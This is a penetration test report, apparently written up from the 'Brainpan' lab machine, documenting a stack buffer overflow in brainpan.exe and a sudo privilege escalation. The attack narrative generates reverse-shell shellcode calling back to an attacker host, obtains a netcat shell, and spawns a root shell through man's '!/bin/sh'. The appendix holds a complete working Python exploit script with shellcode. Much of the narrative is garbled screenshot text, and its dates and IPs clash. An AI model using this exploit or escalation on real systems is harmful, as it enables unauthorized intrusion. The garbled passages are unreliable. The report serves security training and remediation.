

Penetration Test Report

Brainpan

Author: sh3llsh0ck

Date of Audit: 06.20.23 - 06.21.23

Date Published: N/A

Version: 1.0

Table of Contents

[Confidentiality Statement 3](#_Toc141061091)

[Disclaimer 3](#_Toc141061092)

[Assessment Overview 3](#_Toc141061093)

[Timeline 4](#_Toc141061094)

[Finding Severity Ratings 5](#_Toc141061095)

[Risk Factors 5](#_Toc141061096)

[Likelihood 5](#_Toc141061097)

[Impact 5](#_Toc141061098)

[Scope 6](#_Toc141061099)

[Scope Exclusions 6](#_Toc141061100)

[Client Allowances 6](#_Toc141061101)

[Executive Summary 7](#_Toc141061102)

[Testing Summary 7](#_Toc141061103)

[Tester Notes and Recommendations 7](#_Toc141061104)

[Vulnerability Summary & Report Card 9](#_Toc141061105)

[Black Box Penetration Test Findings 9](#_Toc141061106)

[Attack Narrative 11](#_Toc141061107)

[Enumerating the Webserver (port 10,000) 11](#_Toc141061108)

[Reverse Engineering brainpan.exe 13](#_Toc141061109)

[Escalation of Privileges to Root: 18](#_Toc141061110)

[Recap 20](#_Toc141061111)

[Cleanup 20](#_Toc141061112)

[Appendix: 21](#_Toc141061113)

[Buffer Overflow Exploit Script: 21](#_Toc141061114)

# Confidentiality Statement

This document is the exclusive property of Brainpan and Sh3llsh0ck Sec. This document contains proprietary and confidential information. Duplication, redistribution, or use, in whole or in part, in any form, requires consent of both Brainpan and Sh3llsh0ck Sec.

Brainpan may share this document with auditors under non-disclosure agreements to demonstrate penetration test requirement compliance.

# Disclaimer

A penetration test captures a specific moment in time, focusing on the information gathered during the assessment and not accounting for any subsequent changes or updates. Due to the time constraints of such engagements, it is not possible to thoroughly evaluate all security controls. Instead, Sh3llsh0ck Sec prioritizes the assessment to pinpoint the most vulnerable security controls that an attacker could target.

To maintain the effectiveness of these controls, Sh3llsh0ck Sec suggests conducting similar assessments annually, either by internal or third-party assessors. This periodic evaluation ensures the ongoing strength of the security measures.

# Assessment Overview

From June 20, 2023 to June 21, 2023, Brainpan contracted Sh3llsh0ck Sec to perform a black box penetration test on one of its public-facing machines. A black box penetration test is a type of security assessment where the tester has no prior knowledge about the target system or network. In this approach, the tester simulates an external attacker who has no insider information or access to the internal infrastructure.

The phases of penetration testing included the following:

* Planning – Customer goals are gathered and rules of engagement obtained.
* Discovery – Perform scanning and enumeration to identify potential vulnerabilities, weak areas, and exploits.
* Attack – Confirm potential vulnerabilities through exploitation and perform additional discovery upon new access.
* Reporting – Document all found vulnerabilities and exploits, failed attempts, and company strengths and weaknesses.

# Timeline

The following is a timeline of the progression points through the penetration test.

|  |  |
| --- | --- |
| **Date/Time** | **Action** |
| 6.20.23 – 10:00 A.M. | Commencement of penetration test |
| 6.20.23 – 10:30 A.M. | Nmap scan enumeration |
| 6.20.23 – 11:00 A.M. | Download of brainpan.exe from webserver (/bin) |
| 6.20.23 – 2:00 P.M. | Buffer overflow to RCE on port 9999; Reverse shell as “puck” |
| 6.21.23 – 10:00 A.M. | Privilege escalation exploit; Shell as root user |
| 6.21.23 – 10:15 A.M. | Ending of penetration test |

# Finding Severity Ratings

The following table defines levels of severity and corresponding CVSS score range that are used throughout the document to assess vulnerability and risk impact.

|  |  |  |
| --- | --- | --- |
| **Severity** | **CVSS V3**  **Score Range** | **Definition** |
| Critical | 9.0-10.0 | Exploitation is straightforward and usually results in system-level compromise. It is advised to form a plan of action and patch immediately. |
| High | 7.0-8.9 | Exploitation is more difficult but could cause elevated privileges and potentially a loss of data or downtime. It is advised to form a plan of action and patch as soon as possible. |
| Moderate | 4.0-6.9 | Vulnerabilities exist but are not exploitable or require extra steps such as social engineering. It is advised to form a plan of action and patch after high-priority issues have been resolved. |
| Low | 0.1-3.9 | Vulnerabilities are non-exploitable but would reduce an organization’s attack surface. It is advised to form a plan of action and patch during the next maintenance window. |
| Informational | N/A | No vulnerability exists. Additional information is provided regarding items noticed during testing, strong controls, and additional documentation. |

# Risk Factors

Risk is measured by two factors: Likelihood and Impact:

### Likelihood

Likelihood measures the potential of a vulnerability being exploited. Ratings are given based on the difficulty of the attack, the available tools, attacker skill level, and client environment.

### Impact

Impact measures the potential vulnerability’s effect on operations, including confidentiality, integrity, and availability of client systems and/or data, reputational harm, and financial loss.

# Scope

|  |  |
| --- | --- |
| **Assessment** | **Details** |
| External Black Box Penetration Test | 10.10.233.5 |

### Scope Exclusions

None

### Client Allowances

None

# Executive Summary

Sh3llsh0ck Sec evaluated Brainpan’s external security posture through performing a black box penetration test on the given target machine (listed in the scope) from June 20th, 2023 to June 21st, 2023. The following sections provide a high-level overview of the attack path, discovered vulnerabilities, tester recommendations, and security strengths and weaknesses.

### Testing Summary

During the penetration test, Sh3llsh0ck Sec discovered an exposed directory listing (/bin) on the target machine's webserver running on port 10,000. This directory contained a Windows binary named brainpan.exe, which was also found to be listening for connections on port 9999. By leveraging this exposed directory, Sh3llsh0ck Sec obtained a copy of brainpan.exe through the webserver.

The team then performed local reverse engineering on the binary, revealing the presence of a stack-based buffer overflow vulnerability. Exploiting this vulnerability enabled Sh3llsh0ck Sec to achieve Remote Code Execution on the target machine. As a result, they gained access to a user account named "puck," which had sudo permissions. Notably, the user "puck" had unrestricted access (no password required) to execute a binary located at "/home/anansi/bin/anansi\_util" as the root user.

By utilizing the "manual" option provided by the "anansi\_util" binary, Sh3llsh0ck Sec successfully obtained a shell with root privileges on the target machine. This effectively granted them full control over the system.

These findings demonstrate critical security vulnerabilities within the target environment, allowing unauthorized access and full compromise of sensitive information. Immediate attention and remediation of these issues are strongly recommended to mitigate further risks and protect the organization's assets.

### Tester Notes and Recommendations

The penetration test identified three main weak points within the target machine's security infrastructure that heavily contributed to full compromise of the system.

The first weak point was the exposed directory listing which allowed our team to obtain a copy of the binary listening on port 9999. This exposed listing allowed our team to reverse engineer the binary in the first place for further exploitation and initial access to the target system.

We recommend that Brainpan implements policies to secure any sensitive directories and to block access to them entirely on the public-facing webserver. We also recommend that directory listing functionality be completely disabled across all public-facing webservers.

The second weak point was the publicly exposed port 9999 running the vulnerable brainpan binary, as it allowed our team to exploit the buffer overflow present in the binary and gain initial access to the target server. The binary itself was vulnerable to a very simple buffer overflow attack which allowed full compromise of the service.

We recommend that Brainpan implements policies to restrict inbound access to any ports or services that do not need to be publicly accessible on the internet. In addition, a more thorough bug testing procedure should be implemented during the development lifecycle so that critical code vulnerabilities like the buffer overflow in brainpan can be detected and resolved before deployment.

The third weak point was the level of privileged access given to the “puck” user, which allowed our team to elevate our privileges to root on the target system. This was done by abusing the sudo permissions set for “puck.”

We recommend that Brainpan implement Zero Trust policies, such as the principle of least privilege, systemwide to ensure the appropriate level of access is granted to each user and system component. Specifically, the permissions assigned to the "puck" user should be reassessed and restricted to only the necessary privileges required for its intended task. Additionally, regular reviews of access permissions should be conducted to ensure ongoing adherence to the principle of least privilege and maintain a secure environment.

# Vulnerability Summary & Report Card

The following tables illustrate the vulnerabilities found by impact and recommended remediations:

### Black Box Penetration Test Findings

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| 1 | 1 | 1 | 0 | 0 |
| Critical | High | Moderate | Low | Informational |

**Improper Privileges – Sudo Access**

|  |  |
| --- | --- |
| Severity: | Critical |
| Description: | Local user “puck” has sudo privileges to execute /home/anansi/bin/anansi\_util as root with no password requirement. This binary has an option to run the “manual” command, which has an option to run shell commands. This allows an attacker to escalate privileges to root with ease. |
| Risk: | Likelihood: High – This simple attack can be used to gain root privileges once an attacker has already gained initial access to the target system.  Impact: Very High – An attacker with root privileges has complete control over the system and all its assets. |
| Remediation: | Instead of full sudo access, use Linux capabilities (such as CAP\_SETUID) to give “puck” temporary root permissions to the necessary options (excluding “manual”) in the “anansi\_util” binary. |
| References: | <https://gtfobins.github.io/gtfobins/man/>  <https://andreafortuna.org/2018/05/16/exploiting-sudo-for-linux-privilege-escalation/>  <https://wiki.archlinux.org/title/capabilities> |

**Improper Bounds Checking – Stack Buffer Overflow to RCE (brainpan.exe)**

|  |  |
| --- | --- |
| Severity: | High |
| Description: | The executable running on port 9999 (brainpan.exe) is vulnerable to a stack buffer overflow due to using the insecure gets() function to receive user input, which doesn’t do any bounds checking. This allows an attacker to take control of the program flow and execute code off the stack, leading to arbitrary remote code execution (RCE). |
| Risk: | Likelihood: High - The vulnerable service is completely exposed to the internet and is fairly trivial to exploit.  Impact: Very High – An attacker can leverage the RCE to gain shell access to the server and escalate privileges or pivot to other internal machines. |
| Remediation: | Implement proper bounds checking by using a secure function like fgets() instead of gets().  Enable Address Space Layout Randomization (ASLR) to make exploitation of any potential buffer overflow tougher.    Enable No-Execute (NX) to make the stack non-executable, creating more hurdles for an attacker to bypass in the case of a potential buffer overflow.  Enable Stack Canaries to allow the program to be able to detect an attempted buffer overflow attack and consequently terminate itself before any damage can be achieved by the attacker. |
| References: | <https://csrc.nist.gov/glossary/term/buffer_overflow>  <https://docs.oracle.com/en/operating-systems/oracle-linux/6/security/ol_aslr_sec.html>  <https://access.redhat.com/solutions/2936741>  <https://developers.redhat.com/articles/2022/06/02/use-compiler-flags-stack-protection-gcc-and-clang>  <https://www.cobalt.io/blog/pentester-guide-to-exploiting-buffer-overflow-vulnerabilities> |

**Security Misconfiguration - Exposed Directory Listing (/bin/)**

|  |  |
| --- | --- |
| Severity: | Moderate |
| Description: | An exposed directory listing (/bin/) is present on the target machine’s (10.10.233.5) webserver which contains brainpan.exe, the binary running on port 9999 on the target machine.  This exposed directory listing allowed our team to reverse engineer and consequently exploit the service on port 9999 (see finding #2), leading to initial access to the server. |
| Risk: | Likelihood: Very High – Finding and accessing an exposed directory listing is trivial and can be done easily by unsophisticated attackers.  Impact: Moderate – Exposed sensitive directory listings can provide attackers with source code or other information to devise exploits against systems. |
| Remediation: | Disable directory listings for all directories that are either sensitive or not necessary for a user to access. |
| References: | <https://cwe.mitre.org/data/definitions/548.html>  <https://portswigger.net/kb/issues/00600100_directory-listing> |

# Attack Narrative

### Enumerating the Webserver (port 10,000)

Running an Nmap scan on the server reveals the following two ports are open:

# Nmap 7.93 scan initiated Tue Jun 13 19:26:07 2023 as: nmap -sV -sC -O -p9999,10000 -T4 -oN service-scan.txt 10.10.233.5

Nmap scan report for 10.10.233.5

Host is up (0.13s latency).

PORT STATE SERVICE VERSION

9999/tcp open abyss?

| fingerprint-strings:

| NULL:

| \_| \_|

| \_|\_|\_| \_| \_|\_| \_|\_|\_| \_|\_|\_| \_|\_|\_| \_|\_|\_| \_|\_|\_|

| \_|\_| \_| \_| \_| \_| \_| \_| \_| \_| \_| \_| \_|

| \_|\_|\_| \_| \_|\_|\_| \_| \_| \_| \_|\_|\_| \_|\_|\_| \_| \_|

| [\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ WELCOME TO BRAINPAN \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_]

|\_ ENTER THE PASSWORD

10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)

|\_http-server-header: SimpleHTTP/0.6 Python/2.7.3

|\_http-title: Site doesn't have a title (text/html).

The nmap scan shows that the webserver at port 10,000 is a Python SimpleHTTPServer. The webserver landing page shows this infographic:

ARE YOU PRACTICING 
SAFE CODING? 
WHAT'S THE BIG DEAL? 
As 2011 proved to be the year of the hack, 
the need for secure application coding is 
greater than ever. Application 
requirements are heightening in the wake 
of critical application breaches. meaning 
knowledge and training must rise to ensure 
safe coding. 
Previously. attackers used application vulnerabilities ta cause embarrassment and disruption. aut now these 
attackers are exploiting vulnerabilities to steal data and much more: 
IP THEFT 
TAKING OVER HIGH-VALUE 
ACCOUNTS 
ARE APPLICATIONS REALLY THAT UNSAFE? 
MODIFYING VICTIMS 
WEBSITES TO DEPLOY 
MALWARE TO WEBSITE 
VISITORS 
BREACHING ORGANIZATION 
PERIMETERS 
Mare than 8 out of 10 applications failed to pass OWASP Top ID When first tested. More than 
half of all developers received a grade af C or lower on a basic application security assessment. 
TOP 5 APPLICATION VULNERABILITIES 
• Percentage of Web Applications Affected Percentage of Hacks* 
SOL Injection 
xss 
Information 
Leakage 
32% 
20% 
10% 
3% 
Cryptographic 
Issues 
OS Command 
Injection 
53% 
2% 
9% 
1% 
•Source: WHID 
While other flaws such as XSS account for a higher volume of 
findings, SQL injection accounts for 20 percent of hacks. 

Running a directory brute force with gobuster on the webserver reveals the /bin directory:

gobuster dir --url http://10.10.76.131:10000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 25 -o dirbrute.txt

===============================================================

Gobuster v3.5

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

===============================================================

[+] Url: http://10.10.76.131:10000/

[+] Method: GET

[+] Threads: 25

[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

[+] Negative Status codes: 404

[+] User Agent: gobuster/3.5

[+] Timeout: 10s

===============================================================

2023/06/19 20:11:25 Starting gobuster in directory enumeration mode

===============================================================

/bin (Status: 301) [Size: 0] [--> /bin/]

The directory contains one Windows executable called brainpan.exe:

Directory listing for [bin/ 
• _mmpan.exe 

### Reverse Engineering brainpan.exe

Immunity Debugger is a phenomenal tool for reverse engineering Windows executables. Executing the binary with Immunity Debugger presents the following:

81171283 
81171281 
81171288 
81171286 
81171280 
81171298 
81171298 
81171299 
811712Aø 
811712A1 
811712Aa 
811712% 
811712A0 
81171288 
81171288 
81171289 
811712cø 
811712c1 
811712c7 
811712c9 
811712CA 
811712cc 
81171203 
81171201 
81171207 
81171209 
8117120A 
8117120c 
81171200 
8117120E 
8117120F 
811712Eø 
811712Ea 
811712E4 
811712E9 
811712EA 
8117128 
811712EC 
811712EE 
811712Fø 
811712Fa 
811712FS 
811712F8 
811712F9 
811712FA 
811712FB 
811712FC 
811712FF 
81171aøs 
al 172ØØØ 
al 172338 
81172313 
81172318 
al 172323 
al 172328 
al 172øaø 
al 172088 
al 172343 
al 172048 
al 172ØSØ 
al 172øs8 
al 172ØSØ 
al 172368 
al 172373 
al 172378 
al 172383 
al 172388 
al 172393 
al 172398 
al 172øqø 
al 1723A8 
al 172383 
al 172388 
al 172ØCØ 
al 172øc8 
al 172ØOØ 
al 172308 
al 1723Eø 
al 1723E8 
al 1723Fø 
al 1723F8 
811721øø 
81172138 
. EEC 38 
. FFIS 2øs117a1 
. EB B8FEFFFF 
. EEC 38 
. FFIS 2øs117a1 
. 98FEFFFF 
. 808426 øøøøøøl ES1,ow0R0 
. 8830 acs117a1 
807426 øø 
. 8830 aøs117a1 
pusH 
EBP, ESP 
ESP,B 
. C7ø424 øløøøøl mou SS: [ESP] 
ow0R0 PTR OS: 
CALL 
CALL 
an an.a11711sø 
. 808426 øøøøøøl ES1,ow0R0 PTR OS: 
pusH 
EBP, ESP 
ESP,B 
. C7ø424 øaøøøøl mou SS: [ESP] 
ow0R0 PTR OS: 
CALL 
EAX 
Ecx 
Eox 
EBX 
ESP 
EBP 
ESI 
EOI 
EIP 
EFL 
øøøøøøøø 
øøøøøøøø 
øøøøøøøø 
øøaøøøøø 
øøsFEEFC 
øøsFEFsø 
øø61B8C8 
øø61B8øø 
773420øc 
CALL 
an.a11711sø 
pusH 
Ecx, ow0R0 
EBP, ESP 
pop 
LEA ES1,ow0R0 
pusH 
Ecx, ow0R0 
EBP, ESP 
pop 
pusH 
EBP, ESP 
pop 
pusH 
EBP, ESP 
pop 
pop 
pop 
pusH 
cs 
os 
332B 
øø2a 
332B 
332B 
øøsa 
332B 
ntdll 
82b it 
82b it 
82b it 
82b it 
82b it 
82b it 
. 773420øc 
2caøøø(FFF) 
PTR 
PTR 
PTR 
PTR 
OS: 
OS: cams 
OS: 
OS: cams 
r ERROR_succEss ( ØØØØØØØØ) 
øøøøøaøs 
SS 
øøøø 
RR7F 
initializing winsock.. .done. 
server socket created . 
bind done on port 9999 
waiting for connections . 
cond ØØØØ 
n NEAR, 64 
1737øøøø 
an .81171Aøø 
. 81EC 
. 8B4S 
1832øøøø 
38 
mou 
sue 
mou 
EBP , ESP 
EAX 
ow0R0 
ASCII 
DH*I... 
PTR 
SS: CEBP+8] 
10 
17 

Connecting to the binary from our attacking machine shows that it is the same as the service running on port 9999 of the target system:

Local instance:

_LLI 
_LLI 
—/Desktop/THM/BraİnpanJ 
192.168.56.1 9999 
_LLI 
_LLI 
_LLI 
(kaliS 
WELCOME TO BRAINPAN 
ENTER THE PASSWORD 
» test 
ACCESS DENIED 
—/Desktop/THM/Braİnpan 
C:userslhehaalsharedlbrainpan.exe 
1[+] initializing winsock.. .done. 
[+] server socket created . 
[+] bind done on port 9999 
[+] waiting for connections. 
[+] received connection . 
[get_reply] s 
[test 
[get_reply] copied S bytes to buffer 
[+] check is 1 
[get_reply] s 
[test 
[get_reply] copied S bytes to buffer 

Target system’s service:

—'Desktop/THM/Brainpan] 
10.10.148.248 9999 
WELCOME TO BRAINPAN 
ENTER THE PASSWORD 
test 
ACCESS DENIED 

Fuzzing the binary with a cyclic character pattern reveals the offset of the instruction pointer (EIP):

Cyclic pattern generation (1500 characters):

msf-pattern_create -1, 1500 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1 
9Дј адј здј 7 дј 8Дј 9дкадКIАК2дкз 
Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7 
дивди9дкшд.пд.пдквдкщд..'5дкљдџ7дџ8додшадшпдрпдшздшддш5дш6дрпдш8додхадх1дх2дхздх4дх5дх6дх7дх8дх9дуаду1ду2дузду4ду5ду6ду7ду8ду9Д20Д21Д22Д23Д24Д25Д26Д27Д28Д29 
Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1 
звј 7 вј 9Bk0Bk1Bk2Bk3 
Bk4Bk5Bk6Bk7Bk8Bk9BLOBUBUBEBUBL5BL6BL7BL8BL9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9B00B01B02B03B04B05B06B07B08B09Bp0Bp1Bp2Bp3Bp4Bp5 
Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7 
Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9 

Putting the cyclic pattern into the payload variable in the overflow script:

import 
socket 
badchars 
port 
"1ø.1ø.148.248" 
9999 
prefix 
offset 
overflow 
retn 
padding 
ayload 
postfix 
"A" * offset 
"AaøAa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9AbøAb1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9 
buffer 
prefix -v overflow -v retn + padding payload postfix 
socket.socket(socket .AF_INET, socket .SOCK_STREAM) 
s.connect((ip, port)) 
s.recv(1024) 
print( "Sending evil buffer 
s.send(bytes(buffer * 
print( "Done! 
except 
not connect. ") 
"latin-l")) 

Sending the payload to local instance and grabbing the EIP register value after crash:

Евр 72413372 
3117128е 
ЕШ 1 311712BZ 
EIP 35724134 
е ES е,егв 
Р 1 CS 023 t 
О SS воев B2e,lt 
е os вегв з2Ь'г. 
: FS eess 2c3eee(FFF) 
о а ( eeazzaeej 
S TI emQty 9 
sT4 
emQty 9 
ST7 9 
E spUoz01 
в е (60 
FST ezzz сопв 
FCW 037 F 1 1 

Decoding the hex (little-endian format) to utf-8:

bytes . fromhex( 
' 4Ar5' 
' 35724134 
'utf 

Matching the revealed utf-8 pattern to the cyclic pattern to find the exact offset:

kali) 
L-$ msf-pattern_ 
Exact match 
offset -l 
at offset 
1500 
524 
4Ar5 

The EIP offset is 524. We add that to the offset variable in the exploit script and then look for bad characters, none of which are found except the default null byte (\x00).

Looking for a JMP ESP instruction within the binary reveals this address:

A computer screen with green text

Description automatically generated

The address 0x311712f3 can be used to overwrite the EIP, causing the program to jump back to the stack and consequently execute the malicious payload. We add that to the retn variable of the exploit script.

prefix 
offset 
524 
overflow 
"A" * offset 
retn 
Eadding 
payload 
postfix 

We change the IP address variable value to the target system’s address, add some No-op (\x90) padding to the padding variable, generate the reverse shell payload, and assign it to the payload variable in the exploit script.

Generating the shellcode:

—'Des ktop/THM/Brai n pan/bof J 
L-$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.6.29.137 
LPORT=443 EXITFUNC=thread 
[-] No platform was selected, choosing Msf :: Platform:: Linux from the payload 
[-] No arch selected, selecting arch: x86 from the payload 
Found 12 compatible encoders 
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai 
x86/shikata_ga_nai succeeded with size 95 (iteration=ø) 
x86/shikata_ga_nai chosen with final size 95 
Payload size: 95 bytes 
b"" 
b "\xøø" 
-f python 
Final 
buf 
buf 
buf 
buf 
buf 
buf 
buf 
buf 
buf 
size of python file: 479 bytes 
b" Xx58" 

Adding it to the script:

port 
"1ø.1ø.87.26" 
9999 
prefix 
offset 
524 
overflow 
"A" * offset 
retn 
padding 
payload 
payload 
payload 
payload 
payload 
payload * 
payload * 
payload * 
payload 
postfix 
"\x90" * 16 
"\xbd\xa2\xf7\x48\x69\xd9\xcb\xd9\x74\x24\xf4\x58" 
"\xf9\xaa\x9c\x3b\xdd\xdc\xbc\x68\xa2\x71\x29\x8c" 

Sending the exploit to the server returns a shell as user “puck” to the netcat listener on port 443 of the attacking machine.

(kali@ 
—'Desktop/THM/Brainpan/bof 
$ ./overflow_test.py 
Sending evil buffer 
Done ! 
(kali@ 
—'Desktop/TW/Brainpan/bof 
(kali@ 
—'Desktop/TW/Brainpan/bof 
$ nc -Ivp 443 
listening on [any] 443 
10.10.87.26: inverse host lookup failed: Unknown host 
connect to [10.6.29.137] from (UNKNOWN) [10.10.87.26] 48313 
whoami 
puck 
id 
Ip a s 
to: mtu 16436 qdisc noqueue state UNKNOWN 
link/loopback brd 
inet 127.ø.ø.1/8 scope host 10 
:: 1/128 scope host 
inet6 
valid_lft forever preferred_lft forever 
ethø: mtu 9001 qdisc pfifo_fast state UP glen 1000 
link/ether brd 
inet 10.10.87.26/16 brd 10.10.255.255 scope global etho 
inet6 fe80 :: e5:74ff:fe55:7811/64 scope link 
valid_lft forever preferred_lft forever 

### Escalation of Privileges to Root:

After gaining initial access to the server as puck, the next step is escalating privileges to root. Checking the sudo permissions for puck reveals a potential privilege escalation vector.

puckabrainpan: /home/puck$ sudo -1 
sudo -l 
Matching Defaults entries for puck on this host: 
env_reset, mail_badpass, 
: /usr/local/bin\ : /usr/sbin\ : /usr/bin\ : /sbin\ : /bin 
User puck may run the following commands on this host: 
(root) NOPASSWD: /home/anansi/bin/anansi_util 
puckabrainpan : /home/puck$ 

User puck can execute anansi\_util as root with no password requirement. Running the anansi\_util binary with sudo reveals the following actions.

puckabrainpan: /home/puck$ sudo /home/anansi/bin/anansi_util 
sudo /home/anansi/bin/anansi_util 
Usage: /home/anansi/bin/anansi_util [action] 
Where [action] is one of: 
network 
proclist 
manual [command] 
puckabrainpan : /home/puck$ 

The last option (manual) runs the linux man command as root. [GTFOBins](https://gtfobins.github.io/gtfobins/man/) details various ways to escalate privileges through the man command (if ran with temporary escalated privileges, such as sudo).

Using one of the methods, we run anansi\_util as sudo again with the manual option and a random command specified.

sudo /home/anansi/bin/anansi\_util manual man

Thereafter, we open a root shell by typing !/bin/sh.

Typing !/bin/sh after running sudo /home/anansi/bin/anansi\_util manual man:

skipping 
MAN(I) 
man 
SYNOPSIS 
an 
interface 
file] 
to 
Manual pager utils 
the on-line reference manuals 
MAN(I) 
man [ -C 
locale] [-m system[ 
[ — regexl —wildcard] 
[-r prompt] [-7] [-E encoding] [ —no-hyphenation] [ —no-justifi- 
cation] 
[ -p string] 
[-0 [-T[device]] 
[-H[browser]] [-X[dpi]] 
[ [section] ] 
man -k [apropos options] regexp 
man -K [-wl-w] [-S list] [-il-l] [ —regex] [section] term 
man -f [whatis options] 
[ -D] [ —warnings[ -warnings] -J 
[-R encoding] [-L 
[-il-l] 
, J] [-M path] [-S list] 
[ -e extension] 
[ —names-only] [ -a] [ -u] 
[ — no-subpages] 
man -1 [-C file] 
locale] 
[-P pager] 
[-r 
-T[device]] [-H[browser]] 
man -wl-w [-C file] [ 
man -c [-C file] 
man [-hV] 
DESCRIPTION 
Manual page ran(l) line 1 ( ores: 
[ —warnings[ -warnings] -J 
[ -R encoding] 
prompt] 
[-7] [-E encoding] [-p string] 
[-X[dpi]] file . 
-D] 2_age . 
far 
c;nit. 
! /bin/sh 

Gaining a root shell:

sudo /home/anansi/bin/anansi util manual man 
No manual entry for manual 
# id 
id 
uid=ø(root) gid=ø(root) groups=ø(root) 
# whoami 
whoami 
root 
# ifconfig 
ifconfig 
etho 
10 
Link encap:Ethernet HWaddr 
inet addr:1ø.1ø.4.171 Bcast:1ø.10.255.255 Mask:255.255.ø.ø 
inet6 addr: fe8ø :: 94:92ff:feø3:33fd/64 Scope: Link 
UP BROADCAST RUNNING MULTICAST MTLl:9001 Metric:l 
RX packets:118 errors:ø dropped:ø overruns:ø frame:ø 
TX packets:155 errors:ø dropped:ø overruns:ø carrier:ø 
collisions:ø txqueuelen:løøø 
RX bytes:8220 (8.2 KB) TX bytes:28139 (28.1 KB) 
Interrupt: 74 
Link encap:Loca1 Loopback 
inet addr:127.ø.ø.1 
: 1/128 
inet6 addr: 
UP LOOPBACK RUNNING 
RX packets:ø errors:ø dropped:ø 
TX packets:ø errors:ø dropped:ø 
Mask:255.ø.ø O 
Scope : Host 
MTU:16436 
Metric: 1 
overruns:ø frame:ø 
overruns:ø carrier:ø 
collisions:ø txqueuelen:ø 
RX bytes:ø (0.0 B) TX bytes:ø (0.0 B) 

We now have full access and complete control over the system. From this point, an adversary would generally exfiltrate confidential data or further compromise the internal network.

### Recap

As demonstrated above, any flaw in a system’s security, either external or internal, can be leveraged by an attacker to compromise that system, leading to, among other things, exposure of confidential customer data or company secrets. Shellshock Sec strongly advises that Brainpan remediate all reported findings in a timely manner. Shellshock Sec also recommends that Brainpan conduct penetration tests annually to find and patch any new security holes that may emerge. Shellshock Sec cannot guarantee that the tested system will be impenetrable after employing the recommended remediations.

### Cleanup

After every penetration test, a thorough cleanup is conducted to remove any scripts, tools, or other remnants of the penetration test from the audited systems. In this case, nothing was uploaded to, or created on the tested system. Thus, no cleanup is required.

# Appendix:

### Buffer Overflow Exploit Script:

#!/usr/bin/python3

import socket

badchars = ""

ip = "10.10.148.248"

port = 9999

prefix = ""

offset = 524

overflow = "A" \* offset

retn = "\xf3\x12\x17\x31"

padding = "\x90" \* 16

payload = ""

payload += "\xb8\x08\x46\x31\x57\xdb\xc8\xd9\x74\x24\xf4\x5a"

payload += "\x33\xc9\xb1\x12\x83\xea\xfc\x31\x42\x0e\x03\x4a"

payload += "\x48\xd3\xa2\x7b\x8f\xe4\xae\x28\x6c\x58\x5b\xcc"

payload += "\xfb\xbf\x2b\xb6\x36\xbf\xdf\x6f\x79\xff\x12\x0f"

payload += "\x30\x79\x54\x67\xc9\x7f\xbb\xfe\xa5\x7d\xc3\x01"

payload += "\x8d\x0b\x22\xb1\x97\x5b\xf4\xe2\xe4\x5f\x7f\xe5"

payload += "\xc6\xe0\x2d\x8d\xb6\xcf\xa2\x25\x2f\x3f\x6a\xd7"

payload += "\xc6\xb6\x97\x45\x4a\x40\xb6\xd9\x67\x9f\xb9"

postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

try:

s.connect((ip, port))

s.recv(1024)

print("Sending evil buffer...")

s.send(bytes(buffer + "\r\n", "latin-1"))

print("Done!")

except:

print("Could not connect.")